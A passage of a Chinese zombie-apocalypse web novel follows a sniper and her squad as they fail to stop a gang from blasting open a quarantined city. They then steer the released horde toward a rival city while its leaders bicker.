听着就脑袋发胀,想起刚刚就着月光看见的一幕,——他是真能憋气,脸都涨红了也不肯松嘴。
不能回去太晚,赵弋还是掐着时间的,给她摘了一堆板栗枣子,让她回帐篷的时候能有个交代,也没弄脏她的衣裳。
时枌心虚,确定赵弋走后,蹑手蹑脚地尽量正常走路,脑袋顶开帐篷钻了进去,然后突然灯就全部亮起来了。
周霓挤眉弄眼看着她。
叶枝蔚很好心,只是看着她,没说话。
这顶帐篷比较小,原本就是给女兵住的,而目前新基地的女兵数量少得可怜,叶枝蔚跟周霓这两个小队队员就自然被分到了一起,时枌顺便被安排了进来,分了一张行军床。
“哟哟哟——”周霓准备开腔。
时枌连忙献上枣子堵住她的嘴,“别说了好姐姐!”
叶枝蔚坏心眼地轻轻嗓子。
时枌又扑过去献上板栗,“尝尝吧枝蔚姐姐,嫩板栗,特别好吃!”
叶枝蔚接过板栗:“行吧。”
周霓:“这次就饶过你,下次再半夜跟野男人出去鬼混,哼哼。””
也不是野男人。“时枌小声嘀咕。
周霓凑过来,三个人挤在叶枝蔚的床上,吃枣子板栗,聊些适合晚上聊的话题。
周霓还把红枣塞给她,“多吃点吧,好好补补,啧,瞧瞧这脸蛋嫩的,赵队比红枣补吧?”
时枌:“……”
第128章 第128章天塌下来就是要个高的……
新基地大家都是轮班伐木做围栏用来拦截丧尸,为防尸带争取时间。
时枌睡得格外舒服,一早上起来的时候掀开帐篷才发现外边这么吵。
骂骂咧咧的人声伴随着砍木头的声音,来来往往的脚步声和着轰隆隆车轮碾压地面的声音。
阳县虽然什么都缺,但最不缺的就是运输车,尤其是大型的那种,正在有条不紊往前线运资源。
时枌拿望远镜顺便望了一眼。
东边大片大片的平原,几乎没什么遮挡,她远远能看到黑色游龙一般横亘在视线中的长坑。
以及长坑后正在建设的围栏,都是粗燥的实木,用铁丝链接,架了个半人高的“X”形状,拦不住活人,但是阻拦丧尸还是没问题的,只是需要挖掘机跟着挖坑、埋栏杆,不然就会出现丧尸群推搡着栏杆往前跑的诡异画面。
看了会儿,时枌发现他们建设的围栏似乎刻意留了个口子,偏移了一些,往外去了。
“那是什么?留的门吗?”跟她马场一样方便进出的门。
赵弋不知道什么时候寻了过来,弯腰俯身低头从她手里的望远镜看过去,“那是planC。”
“啊?”时枌对于英语的了解仅限于二十六个字母。
“就是以防万一。”
时枌看了看那个方向,身体跟着转圈,往外看去,那道门似乎导向了熟悉的柏油路。
她抬头跟他对视。
赵指挥眼里全是坦然的坏心思。
“这是你的武器清单,你最熟悉,抓紧时间看看,我们天黑就出发。”
“哦。”
时枌当然了解自己都有哪些好宝贝,她看得很认真,确定无误才还给他。
“吃完饭可以去活动活动,晚一些再分发装备。”赵弋跟肉包子似的,他在哪很快就有人追上来给他派活儿干,这会儿林浓就追过来了。
“你忙吧,晚点见。”时枌推了他一下,让两人之间保持适当的距离。
不然总感觉光天化日的,不成体统。
赵弋被叫走了。
时枌跟叶枝蔚周霓一起去吃早饭,闲着没事还烤了栗子吃,再去新仓库看看自己的装备。
一个小队当中每个人都有不同的职责。
时枌就比较明确,她是狙击手,需要把控全局,提供信息,必要时出手帮助队友。
叶枝蔚心细且身体素质极高,可以放队尾殿后,偶尔也会跟随队长厮杀。
周霓属于莽的那种,上去就是干,指哪打哪,她出任务的时候不喜欢带脑子。
她们三个在新基地逛了一圈,还去摘了板栗偷偷揣兜里打算出任务的时候吃,回来的时候都快六点,明显接近出发时间,连忙钻进帐篷换上作战服。
时枌是真不会穿这个新款作战服,都脱的只剩背心了愣是塞不进去,还是被周霓拽着腰带扯上来,很神奇的是,扯上来之后竟然正正好,甚至不勒。
“适应一下就好了,新款都这样,穿久了就舒服了。”周霓说,“当然也有可能只穿一次就得换咯。”
“为什么?”时枌一脸天真看过去。
“出任务弄坏了呗,当然要换。”周霓耸耸肩。
“行吧。”
她们不在一个队,时枌跟叶枝蔚一起,周霓很烦躁地去跟六个男的组队,当然,她争取过要不要换去赵弋队伍,被赵弋驳回,理由是秦丰队里缺人。
不全是因为缺人,也是因为秦丰队里新人较多,需要她这样的老队员镇场子。
两队任务完全不同,秦丰他们到前线就分散干活了,而赵弋带着小队还要继续前行,直到隐约看见A城轮廓,以及从缺口中溢出的丧尸们。
车停在一边高速公路出口旁,借着丛生的树隐蔽,时枌站在车顶用望远镜观察前方状况,他们几人在车旁清理装备布置任务。
出发前他们都只知道个大概,直到现在,赵弋才跟他们讲清楚具体细节。
同时,他拉开后备箱,露出一整个后备箱的弹药。
张照照嘀咕:“我说今天车怎么格外重,赵队还藏着这么多好东西啊。”
非年就淡定许多,已经伸手去拿装备,往自己的战术背心上塞。
“匕首军刀之类的能带就多带,避免刀卡骨头里拔不出来。”赵弋提醒着,一边给时枌挑了几把递上去。
他抬头,她低头接过,视线短暂相接。
“情况怎么样?”他问。
“原本高速公路倒塌堵住了A市出口,两边都是悬崖,掉落的丧尸不少,看不太清,但可能是被填平了。”时枌说,“有一个半人左右的缺口,看痕迹,不像炸药,像是人为凿出来的,丧尸出来速度很慢,目测公路上有六七百丧尸……”
她声音忽然一顿。
“有人在丧尸群里面活动。”时枌压低声音。
他们选择夜晚出发是为了尽量不要引起这附近活人的注意,甚至他们所在的位置离A市还有段距离,只够望远镜看到入口的距离。
“披着丧尸尸骨,在搬石头。”
A市不是没人来过。
毕竟是大城市,正好碰上节假日病毒爆发,把三千万游客跟居民堵在了一座小小的海边城市之中,环海的情况下,只有这一条高速公路通往A市,因此在知道情况无法挽回后,A市人做了一个艰难的决定:炸公路,截断出口。
可惜的是当时太过混乱没能彻底炸断,好在高速公路入口倒塌,后续又被一波人搬来钢筋水泥堵住,才控制了这些丧尸。
“A市面积是兰城的十几倍,如果没有人故意引丧尸来入口,这堵墙不会有这么大的压力。”非年听完说道。
“这群人疯了吧,
把丧尸放出来对他们有什么好处?“新加入的士兵明显紧张起来。
张照照:“不管他们要干什么,我们阻止他们就行了吧?现在口子不算大,还来得及。”
非年却摇摇头,他看了眼赵弋,“情况没这么简单,他们具体有多少人?在A市内部还是公路旁边?我们都不清楚,而且他们有操控丧尸的能力,你们不是做过Gypsy相关的任务,不清楚这群人什么来头吗?”
不愿意定居的人群,没有稳定的食物来源,就只能靠掠夺一个又一个的安稳的人类聚集地,这些年来他们搜刮完了野外的那些小队伍,临近冬天,面临生存压力,他们需要一场人为的浩劫,冲垮大型人类聚集地,比如阳县,比如兰城,让资源重新洗牌,他们才能从混乱中获利。
能想出开A市口子的人,肯定是个疯子。
“我们要做的,不仅仅是阻止他们。”赵弋终于开口,“无论这个入口有没有被打开,A市三千万丧尸始终是个隐患,不是他们,也会是别人,这里离阳县最近,周围也没有其他大型居民区,我们,是他们的首要目标。”
张照照挠头:“赵队你说的是什么意思,我们现在要干嘛?”
一直沉默的叶枝蔚扭头看了眼黑暗中已经散开四处游荡的丧尸,“他们能操控丧尸,所以我们需要活口,不能全杀光了。”
非年:“丧尸出城后是漫无目的地到处乱走,我记得之前看过尸潮相关的资料,那什么……信息素什么玩意,可以让它们聚集,但是目前兰城实验室重心都放在稀释新一代婴儿体内病毒含量,这方面并没有什么成果。”
张照照一拍脑壳:“所以我们要抓活口,让他们带着丧尸绕路!”
“这也太省事了吧!我们把丧尸引哪去?源城吗?”新人一脸期待。
其余人则是默契看向赵弋。
“源城没什么用,”赵弋淡淡开口,“我觉得兰城不错。”
其余人:“……”
“城墙高,武器弹药充足。”赵弋说。
张照照:“虽然……但是……这样不礼貌吧?”
“东南西北四个基地,而且兰城跟铁桶似的,不怕丧尸围过去。”赵弋继续道。
叶枝蔚深思过后:“而且兰城有二十万人,距离A市又远,有充分时间准备。”
三千对三千万。
还是二十万对三千万。
赵弋当然选后者。
天塌下来就是要个高的顶着,对吧?
几人你一言我一语,商量过后,竟然觉得这是个很不错的想法。
“我们可以提前给兰城发消息通知嘛,沿途我们也能帮忙。”张照照已经在想后路了,“尸潮本来就没什么规律,他们也不可能知道是我们引过去的……”
叶枝蔚敲了他脑壳一下,“是掏A市口子的人引过去的,不是我们。”
“哦对对对,不是我们,我们也不清楚尸潮怎么会绕路。”
大家都接受良好,被迫上贼船的新人一开始还觉得这样对兰城挺不好的,但是……他怎么敢在这群人面前说这种话?万一一会儿出任务不小心出意外怎么办?
他只能乖乖上船。
“那现在咱们就抓活的?”非年问。
偷摸行动,就不能大张旗鼓了,不然到时候既要面对丧尸,又要面对丧尸群中的活人,腹背受敌。
“两两组队……”赵弋还没说完,时枌就朝他招招手,他抬头看去。
时枌趴在车顶,脑袋垂下来,神色时难得的严肃,“我觉得不对劲。”
“有四个活人在入口附近活动,但是他们位置非常分散。”
“如果是要把缺口弄大,放更多丧尸出来的话,他们应该集中在一个口子吧?”
“这里翻一下那里翻一下,不像是在挖口子,像是在……”
“找什么东西。”赵弋接道。
“嗯,就是在找东西。”时枌点头,下巴都搁在车顶,赵弋抬手托着她下巴提醒她脑充血。
张照照脑瓜子嗡嗡的,“那他们在找什么呢?”
非年一下子记起来:“炸药!”
当年准备炸断公路的炸药还埋在废墟下面。
第129章 第129章一定要打中。
整个小队除了在车顶吹风的时枌都惊出一身冷汗。
张照照觉得自己后颈凉凉的,扭头看了眼小部分聚集的丧尸,又看看那看起来还算牢固的“墙”,一想到这堵墙会被炸药炸穿,丧尸会跟割破大动脉似的涌出来,他就不寒而栗。
这么大规模的丧尸,要是全跑出来,不用感染,一尸一口唾沫都能把他淹死,——丧尸有没有唾沫另说。
张照照搓了搓起鸡皮疙瘩的胳膊:“别愣着了,赶紧干活吧,别真给他们找到了。”
真炸开,他也会炸的。
赵弋分配好每个人负责范围,时枌留在原地盯着墙,一旦有人发现炸药她得立刻制止。
得争取在今晚把人清理干净,不然等天亮了就不好办事了。
大家散开后,时枌在车顶待了一会儿,就去寻找制高点方便观察情况。
公路两边有树,但并不算茂密,靠近入口处是一道突然凹陷的悬崖,时不时会有丧尸失脚落下去,吧唧一声摔得稀烂。
时枌能看见张照照贱兮兮的在悬崖附近,看见丧尸靠近就伸手伸脚让丧尸“失足”落下去,这样也不容易引起丧尸群中其他人的注意,他用这个办法隔一会儿就处理一个,如果发现异常,就给自己身上套一层丧尸骨,反正乌漆嘛黑谁也看不清。
她不方便开枪。
尽管有消/音/器,在这样寂静的夜里,枪声会格外明显,只要开枪就会暴露自己的行踪。
时枌爬下车,背着枪找到了一处制高点。
从公路下悬崖长上来的一棵巨大樟树,在秋天叶片掉落后也格外茂盛,竹竿粗壮枝桠繁多,她爬上去完全没什么问题。
上了树之后,时枌才发现,在夜里看上去深不可测的悬崖实际上并没有很深。
底下已经铺了一层丧尸尸体,只剩半截尸骨的人丧尸伸手挠空气,仰头看着黑沉沉的天空。
时枌有理由怀疑,一旦入口被炸开,涌出来的丧尸会立刻填平这个所谓的“悬崖”。
她爬到树顶,能越过墙看见A城内部。
那瞬间,时枌甚至忘了该怎么开口说话。
一眼望不到头乌泱泱的脑袋挤在一起,像一柄折扇般散开蔓延,她试图看得更远,但映入眼帘的似乎也只是漫无边际的头颅。
她莫名喉干,咽了口口水。
如果说在此之前三千万对她来说只是个陌生的数字的话,此时,已经具像化在她眼前。
尸山尸海。
A市内的丧尸都是挤在一起关了十几年的老丧尸,拥挤跟撕扯之中皮肉都被揭开,风吹日晒雨淋,皮肉彻底变得黑黏在骨头上,成为一层猪肉脯一样的新“皮肤”。
时枌拿对讲机,“我觉得,整个A城丧尸都在这里了。”
对讲机都沉默了,跟对面没一个活人似的。
末了,才是赵弋的声音:“确定?”
伴随着刀插入骨缝又抽出的动静。
“确定。”
然后就是张照照很小声地哀嚎,同时一脚将悬崖边的丧尸踹了下去。
叶枝蔚叹了口气,“抓紧时间干活吧。”
非年:“我逮到一个,——缺胳膊少腿没关系吧?”
新人:“不好意思啊,刚刚不小心弄死了。”
大家继续干活。
时枌拿望远镜继续观察入口的情况。
那四个人在丧尸群中小心翻找半天,似乎没有收获,她只能耐心等着,看着时间一点点流逝,将近十二点,时枌一枪都没开,耐心却快被磨没了。
对讲机里传来赵弋的声音,“张照照过去,伪装成意外,看有没有人来救他们。”
“OK。”
“一点钟方向,他落单了。”时枌报告方位。
时枌就看见一个浑
身挂满丧尸骨头内脏的人形物体在尸群中慢慢挪啊挪,接近一个正在小心翼翼搬石头的人。
张照照一伸腿,那人一下子失去重心,脚踩在一块废墟上,紧接着就是咬牙切齿的一声没吭,扭头看了看周围。
张照照已经灵活躲进尸群跟丧尸亲密接触去了。
那人看周围没人,庆幸自己没流血,然后模仿一阵布谷鸟叫,很快,南方丛林传来回应。
时枌神经紧绷,朝声音方向看去,发现树叶遮挡视线,她在树冠上轻巧行走,找了个合适的方位靠着树干观察。
一片林子中钻出来几个人,身上挎着枪,再往后看,有帐篷。
熟悉的帐篷。
时枌呼吸一滞,等了几秒,命运重现般,看见帐篷里走出来一个女人。
她有点跛脚。
尽管遮着脸,时枌却有种笃定的直觉。
“是白狼,”她说,“小心。”
与此同时,入口那边似乎有什么动静,传出几道尖利的声音。
时枌跟猴子一样,连忙跑过去。
两个人在入口处好像翻出了什么东西,抱着一块面包似的包裹朝南方做手势。
“他们找到了。”时枌声音焦急起来。
“什么形状?”
“面包?”时枌一手拿着望远镜,“好像……有点软,他们手里有手榴弹!”
“C4,”赵弋沉静声音传来,“可以击毙。”
话音刚落,时枌架起枪瞄准,几次呼吸时间,那个抱着炸药的人就倒下,另一人还没反应过来发生了什么,脑袋突然炸开,鲜血碎骨喷了旁边丧尸满脸。
血腥味弥漫,周围饿了十几年的丧尸在瞬间暴动,朝着两人扑过来,看得时枌心里咯噔,他们倒下的地方离入口很近,她很怕引爆了炸药。
对讲机中传来赵弋后续安排。
“时枌,你离得近,去把尸体拖远点。”
“好。”
“张照照去帮忙,其余人跟我一起负责拦截。”
时枌把狙击枪留在树上,拎着把步枪快速下树,她速度比张照照要快,张照照一刀一刀解决扑上去啃食尸体丧尸的时候,她找了个丧尸少的切入口,拽住底下死人脚脖子往外拽。
还好没有多少丧尸被放出来,再加上他们已经清理了几个小时的丧尸,场面不算太难。
拖出一个尸体,时枌眼尖发现尸体下方的手榴弹,一下子给手榴弹摸了过来,彻底松了口气。
对讲机传来那边的枪声,赵弋声音却十分清晰:“C4太稳定,他们要用手榴弹上的引信来引爆,人杀了就没问题了。”
时枌这才松了口气。
入口处还剩一个活人,那人看见这边动静丢下受伤的队友拔腿就跑,张照照拨开丧尸去追,好歹是给人打停下来,那人倒地又要掏枪,却被身边丧尸扑倒,发出痛苦的嚎叫。
原本安静的夜被枪声覆盖,从南边丛林中又出现不少人。
前方是敌人,身后是不断从缺口爬出的丧尸。
时枌只能跑得更快,去接应他们。
心跳声震耳欲聋,夜风刮着她的脸颊,愈演愈烈般变成了呼啸的风声。
接近之后,她找了块石头当掩体,开枪扫射。
那边人也不敢接近,枪声很分散。
压力不大,步枪射程又有限,时枌扭头看了眼大樟树。
距离有点远,但只要上了树,拿到狙击枪,射程就足够了。
“张照照,掩护一下。”时枌对刚赶过来的张照照叮嘱一声,收了枪就开跑。
“诶——”
她穿梭在丧尸群中,尽量隐蔽自己的行踪,喉管跟被撕开一样往里面灌风,时枌来不及反应,翻过公路铁栅栏一跃而下,给张照照吓得几乎心脏骤停,却看见她猴子似的抓着树枝把自己拔了上来,轻巧上树,隐入树冠。
拿到枪,时枌把自己身上的步枪随手挂旁边,开始瞄准。
张照照看她没问题了,就继续往前推进。
那群人借着光线不好,拿丧尸树林当掩体,所以很难打中,相应的,他们也无法贸然冲出来去入口抢炸药。
子弹总有打光的时候,与其拼双方弹药充不充足,赵弋更倾向于主动出击。
有了狙击手,他们不敢随便冒头。
救时枌上树的这几分钟,对面就倒了好几个,死了就被队友把尸体拖远点让丧尸分食。
跟对面僵持的非年看着拖出来的尸体,又看了眼后方大树,羡慕得牙酸:“啧,我以前队里怎么就没有个靠谱的狙击手?”
张照照贱兮兮的声音从对讲机中传来:“这么好的狙击手,我们队里有两个哦。”
非年:“……”
他俩打嘴炮,中间插进来赵弋的声音,两人一下子闭嘴。
“掩护。”
其余人:“收到。”
然后张照照就看见,他们队长头也不回地往对面树林里冲,他连忙火力掩护。
非年咬咬牙。
赵弋是高级指挥官,他就不是吗。
“掩护。”
然后非年也撒腿往里冲。
张照照困惑:“连这都要抢?”
打开了一个口子,进入树林谁死谁活还不清楚,时枌看他们跟缩头乌龟似的,又看见赵弋一晃就冲了进去,神经被扯成一条直线,更加仔细观察起来。
该死,他们知道她的方位,都找了掩体。
时枌想起今天她换了新装备。
在身上口袋里掏啊掏,掏出一个瞄准镜来。
赶紧换上,她记得这个是热成像的,在晚上更好用。
她刚刚看见赵弋冲进去就在换瞄准镜了,并不知道非年也跟着冲了进去,再次瞄准,看见对面出现一个人高马大的身影,还挺稀奇,而且后背还完全暴露在他们这边。
什么东西?
时枌补子弹,给人身边的树来了一枪,那人立刻扭头。
瞄准镜中原本看不清面容完全就是一坨黄的人形脸上竟然出现了震惊的表情。
时枌按对讲:“对不起,我确认一下。”
非年:“……”
“十一点方向。”
非年就动了。
有时枌的提醒跟掩护,赵弋非年两人进去就跟狼入羊群似的,对方很快就骚动起来,甚至有人慌不择路跑出树林,被叶枝蔚捕获,卸了武器,绑得严严实实丢在一边。
正在他们以为对面要撤退、准备继续逼近的时候,忽然从树林窜出一辆黑色的越野车,呼啸着,撞翻挡路的丧尸,不死不休地朝着入口去。
赵弋追赶不及,“时枌!”
时枌调转方向,瞄准那辆越野。
他们对对方的了解全来自于今晚临时抱佛脚,也不知道他们竟然还有车,在自己人全部往前推离开高速入口的这个时机,对方竟然开车闯了进来。
这个时机实在是太巧妙。
丧尸被交战中倒地地尸体吸引,所有人为了绞杀他们都集中到了树丛前,此时此刻的入口处竟然还挺空旷。
时枌脑中理清这些,才反应过来,对方可能是故意吸引他们远离入口。
车上有人,他们是奔着炸药去的。
时枌手心都在冒汗。
但车速太快,树叶遮挡,她瞄准车轮,一次未中,弹匣只剩下一颗子弹,压力倍增。
从树林到入口这段距离,跑的话,或许需要十来分钟,但是那是一辆油门踩到底的车,时枌没有那么多时间。
第二枪子弹没入车窗。
时枌咒骂一声,快速装弹。
对方车已经停下,下来四五个人,包括白狼,他们围成人墙,白狼扯开被丧尸啃的只剩下骨架的尸体,拿起那个包裹,身边人递给她一个东西。
那是手榴弹上拆掉的引信。
时枌再次瞄准时,热成像中,看见白狼的脸,她似乎是回望了她这个方向一眼。
一定要打中。
一定。
时枌深吸口气,扣动扳机。
子弹穿过一人头颅。
但不是白狼。
高度有明显的差异。
他们替她挡枪。
天光微亮,东方还没升起太阳,那线光照亮了入口后层层叠叠黑色海浪般的头颅,被一条废墟抵挡在内,这些没有自我意识的行尸走肉推搡着、挤压着,试图用身体撼动倒塌的钢筋水泥,于是前一排被压成肉泥,一层一层,几乎又糊成了一道黑墙。
身后汹涌的海浪在日光下不断推挤着,加厚这堵肉墙。
“轰隆——”
爆炸的时候,仿佛地面都在颤抖。
炸碎的石头穿过入口处几人的身体,但这只是一瞬,下一瞬,汹涌的海浪漫过了长堤,蚂蚁一般灌了下来,最先下地的一批成了踏脚石,很快就被淹没,扬长的颈椎跟头骨透露着它们的不甘,后续的浪潮很快就往公路上来。
时枌耳边轰鸣,脑子都是麻木的。
对讲机中传来赵弋的声音:“时枌!下来!快下来!”
时枌反应过来,丢下所有翻身下树,来不及思考身后,拔腿就往背着太阳的方向跑。
她发誓,她被野猪追都没跑这么快过。
跑慢了,是真的会被身后的丧尸踩成肉泥。
好在事发时叶枝蔚离车最近,她反应更快早早开车过来接到了其他人,赵弋提前拉开车门,车几乎没停,轮胎跟地面摩擦出令人牙酸的声音,这辆车似乎都在嘶吼,就那一秒,赵弋将她拽上后座,同时驾驶座的叶枝蔚油门踩到底,车不堪重负地原地打滑两下,时枌都看见轮胎在冒烟,而后喘过气般打起精神呼啸远去。
两辆车,与身后尸群之间像是连着一条结实的风筝线,随着距离的拉开,车后的尸群变得越来越大、越来越大,几乎漫过即将掀起的晨光。
第130章 第130章我觉得你现在特像个反……
时枌趴在赵弋腿上大口大口喘气,双腿都还在车外,被赵弋拽着腰带拉进来让她翻身坐好,同时拿手表给秦丰发语音消息:“B计划废除,直接执行C计划,做好准备,八小时后尸潮会到第一条防火带。”
又拿对讲给另一辆车
布置任务:“别浪费时间,路上把该撬的嘴撬开,下车我要关于操控尸潮的详细方法。”
再给林浓:“把我昨天写好的报告发给兰城各个领导邮箱,城主也发一份。”
他忙得很,还不忘摁着她脑袋靠向自己,安抚似的顺着人后背。
时枌心脏砰砰跳,直到叶枝蔚问她还好吧,她才扭头去看她,说自己还行。
赵弋沾满血迹的手套摁着她的头,给她头发都摁脏了,时枌不满抬头看他。
男人下半张脸被黑色面罩覆盖,刚刚从厮杀中抽身,身上还带着戾气,感受她挪动的时候垂眸看过来的瞬间似乎有几分压抑的情绪,却在对上她眼睛的时候消融,将手挪开,放到她肩膀上,同时继续跟林浓通话。
时枌缓好了,看他电话繁忙,趁着他不说话的间隙推了推他,“我想下去。”
他低头靠了靠她额头,“等等,我没缓好。”
毕竟方才在他看来,时枌是真的差一点就被尸潮吞没。
对面滔滔不绝的林浓一下子卡壳忘了自己接下来要说什么。
“我没时间听你啰嗦,秦丰在另一条路堵他们,如果我们拿不到操控尸潮的办法,我也会拖着兰城一起死,明白?”
林浓彻底哑口无言。
赵弋的态度已经很清楚,他不会让阳县成为抵挡尸潮的替死鬼,如果保不住阳县,兰城也别想好过。
他就是一个小心眼、记仇的小人,从他来阳县开始兰城一次次违背诺言,逼迫他妥协,他早就记恨上了那个城里所有腐败的活人。
“你就没想过兰城其他人吗?你的父母也在兰城……”林浓还是想劝一句。
赵弋:“哦,他们不会介意的。”
林浓:“……”
他挂了电话。
时枌听完他的话,小声嘀咕:“你嘴还挺厉害。”
说的这么果决,实际上还不是给了兰城反应时间提前预警。
赵弋挑挑眉毛,将她搂紧一些,跟她咬耳朵:“实在不行,我们两个跑了也没关系,去一个新地方,农场可以重新建……苗圃怎么样?”
时枌去捂他嘴,“闭嘴吧,我觉得你现在特像个反派。”
赵弋不置可否。
与此同时,在这个注定不平静的清晨,兰城人还在睡梦中,忽然整城拉响了警报,火速召回所有在外的探险小队成员,全城警戒,剑拔弩张的南北两个基地竟然同时出动,两位司令爬上城墙用望远镜观测到随着晨光一同倾泻而来乌泱泱的尸潮。
“怎么回事?赵弋的邮件是什么意思?尸潮怎么会这么快到达?!”姚山衣服都没穿好,一件内里白衬衣就上了城墙,心惊肉跳地抓着身边副官的领子问。
另一边北区司令出声嘲讽:“人家不是说的很清楚了吗?他们当晚出任务,五个多小时,没能阻止白狼引爆A城高速入口,城破第一时间就发邮件通知了。”
“他就不知道打个电话吗?!”姚山崩溃道。
北区司令冷笑:“不是你们的人?跟我吵吵有什么用?赶紧把人叫起来架机枪。”
姚山脑袋都要炸了,吩咐副官去联系赵弋,又派人去联系赵将军。
仗还没开打,他就开始抓这次尸潮事件负责人了。
北区司令最瞧不上他这副遇到事不解决问题只解决政治敌人的人,他叫来副官,让他去联系西区的坦克部队,争取让他们出动冲散尸潮。
一个小时后,兰城方面还没接通赵弋的电话。
东南西北司令还有城主齐聚一堂,赵千嶂跟唐璟也在,共同商议尸潮解决办法,偌大的会议室等待着电话的接通。
姚山首先开口:“赵弋是什么意思?几封邮件就把人打发了?他在阳县,从A市泄漏的尸潮怎么会来兰城?中间不是隔着一个阳县吗?!”
这话说的实在难听,赵千嶂都忍不住皱眉。
怎么,发展阳县、把那么多罪犯跟源城难民迁移过去,就是为了让他们抵挡尸潮的?
A市三千万丧尸的存在不是秘密,大家都心知肚明,赵千嶂退休之前还提出过共同解决这个难题,但这些年整个南城都忙着内斗、在外搜寻资源,不愿意把多余的兵力耗费在遥远的A城上。
现在好了,雷炸了,大家开始推卸责任了。
老严接着开口:“赵弋邮件中说的很清楚了,A市是S级任务野狼跟白狼所在的Gypsy团伙报复兰城的行为,他们习惯潜入丧尸群操纵丧尸,此前阳县就遭受过他们人为尸潮的屠杀,他们这次蓄谋已久,就是奔着兰城来的。”
“他还说,阳县虽然弹药不足,但正在组织力量削弱尸潮,恐怕他现在忙得很,没时间接电话也很正常。”
姚山:“阳县那点子弹还不够我一个排的量!他怎么削弱尸潮?!”
赵千嶂冷哼一声,目光扫过姚山以及掌管武器制造的西区司令:“你也知道他们弹药不足。”
最上方的城主终于出口:“现在不是讨论这个的时候,现在的首要问题是这三千万丧尸。”
当初建立兰城时的城主正值壮年雄心勃勃,十六年的城主生活让他逐渐发胖,皱纹纵横交错、满是赘肉的脸上依稀可见当年,身处这个虚职太久,他刚刚试图用北区踏上政治舞台就遭遇一场罕见的尸潮,他也只能将一切压下,首先解决眼前的问题。
毕竟是三千万丧尸,是真的可能冲垮兰城的城墙。
十几年日晒雨淋,兰城的城墙并没有想象中坚固。
“我们最近不是多了一批钢铁?首要任务是加固尸潮最先到达的部分城墙。”城主说,“东南西北暂停手下一切任务,大家齐心协力,共抗尸潮。”
放在从前,“齐心协力”这种鬼话可没人愿意听。
可现在他们不愿意也不行了。
姚山还在骂骂咧咧,“我觉得这事情蹊跷,赵弋更是蹊跷!他在阳县离A城那么近怎么可能不清楚A城的情况?我怀疑他是故意让A城破开!”
赵千嶂瞪大眼睛:“你脑子有毛病吧?我,他亲爹还在这坐着,你说我儿子故意放尸潮来干我?”
唐璟:“……”
话糙理不糙,但他这话也太糙了。
姚山很想说你只是个后爸,但一看旁边赵弋亲妈唐璟不动如山坐着,他咬咬牙硬是忍了回去。
“好了好了,现在不是吵架的时候,老赵你也别生气,今天还得你帮忙调兵遣将……”一边老好人西区司令打圆场。
西区属于就是老油条,那边想干事他都帮忙,谁也不得罪,对谁都是和和气气的。
就在这时,电话接通了。
断断续续的风声传来,夹杂着赵弋的声音:“我正在侧面阻拦尸潮,有什么事?”
城主松了口气,“你在现场,现在是个什么情况?尸潮还有多久到达?”
“我原本以为尸潮会率先攻击阳县,所以四天前我就在阳县前挖了长坑,结果没想到白狼领着尸潮绕路往兰城方向去了,但是我们还是吸引了一批丧尸,长坑已经被填满,——预估还有六小时 ,它们速度在下降。”
六小时,大家都屏气凝神,同时又庆幸时间还算充足,来得及派出坦克部队。
赵弋声音断了几秒,又重新续上,“现场太乱了,阳县子弹不足,恐怕吸引不了太多丧尸。”
“赵队!尸潮集群往往阳县来了!”
那边似乎发生了什么,赵弋匆忙挂断电话。
整个会议室其他人大眼瞪小眼。
“阳县也出事了?”
“阳县没有城墙,怎么抵挡丧尸?”
“我们要支援他们吗?”
“你疯了?兰城自顾不暇!”
当初一个上千的小尸潮就能冲垮阳县,现在就算是三千万分出的百分之一就足够碾碎整个阳县。
赵千嶂的心在议论声中提了起来。
他本来觉得以他儿子的英勇跟智慧小小尸潮不在话下,但听周围人都一副“阳县完了”的表情看着他可怜他,赵千嶂自己都要信了。
他身旁的唐璟不动如山,看了眼自己手上的卫星手表,手指点着屏幕,想起他们这些人通讯记录都会被记录,又平稳撤下,作出担忧的表情,右手缠上身旁男人强壮的胳膊,硬是挤出两滴泪,给赵千嶂看见,他一下慌了神,连忙安慰妻子“我儿吉人自有天相”“你别担心不会有事的”“哎呀我这就派人去给他送物资”。
唐璟脑袋靠在他胳膊上,抽泣一声,心里却冷笑。
她儿子手上的是卫星手表,信号从来没这么差过,而且最后那一声,装的也太过了。
这种情况,他怎么没让林浓来演?选个没经验的自己人,要不是现场几个都是大老粗情况又十分危急一时之间看不出,差点就要露馅。
赵弋是高级指挥官,他的通话记录也会被监控,唐璟心中一凛,掐了赵千嶂一把,两人从会议室离开后,她就让赵千嶂去找人把赵弋最近的通话记录清除。
趁着乱起来,她得把尾巴扫干净。
夫妻俩在兰城有自己的势力,不到半小时就拿到了录音。
唐璟都听了一遍,赵弋跟之前队员布置任务的通话并没有什么问题,甚至从通话中只听出他是个合格的指挥官,心里只有任务,只想着保全大局,直到听到林浓跟他的对话。
“什么你的父母也在兰城”“操控尸潮”之类的。
赵千嶂都沉默了。
唐璟立刻删掉了这部分,冷哼一声,“算我看错了林浓。”
他们这种人不可能不知道城主的监视,林浓也很清楚,却一再纠缠,在通话里做出一副“为兰城好”的态度,恐怕是担心日后事发,方便拿这条消息证明自己对兰城的忠心。
赵千嶂还恍惚着:“我儿子真让尸潮来干我了?”
第 131 章【VIP】
第131章 第131章赵弋怀疑兰城这群人还……
挂断电话,赵弋在车上看着向兰城方向狂奔的丧尸,那双冷漠的眼睛里没有半分怜悯或是其他。
秦丰嚎完那嗓子擦着汗汇报情况:“我们按照他们说的办法吸引了一部分丧尸,他妈的,不到一分钟时间防火带就被填满了,第二条防火带挖了一半,我带着人油门都快踩烂,结果越过第一条的丧尸又把第二条填满了,我又带着人清理残余丧尸,差点儿,就挨到新基地。”
丧尸集群后基本上就是个无脑状态,——虽然本来的脑子也没剩下什么功能,从白狼队伍中活捉的一部分人口中得知操控丧尸的办法,他们就立刻实施了。
也不知道非年那小子给这群人上了什么刑,不到十分钟就撬开了嘴,甚至把他们其余部队的方位都爆出来了,秦丰在树林后伏击他们逃窜的其他人,基本上都捉的活口。
其实操控尸潮办法挺简单的。
丧尸饥渴过度,集群后,会有几个格外突出的存在,他们信息素过多,在尸群中起到了领头作用,只要揪出尸群中的这部分丧尸,利用它们改变尸潮方向就变得很简单。
只是这次尸潮实在太过庞大,改变轨迹途中也会分散一部分无头苍蝇般的丧尸流入树林,好消息是,没有尸潮集群信息素的影响,这部分游荡的丧尸不会那么难控制,可以后期解决。
现在阳县一大半的兵力都放在解决沿途游荡丧尸上。
赵弋也在前线观察从A城泄出的丧尸,利用矿山的炸药在尾处试图阻截尸潮,但收效甚微。
“林浓呢?”赵弋忽然问。
“在新基地呢,他负责后勤。”秦丰回。
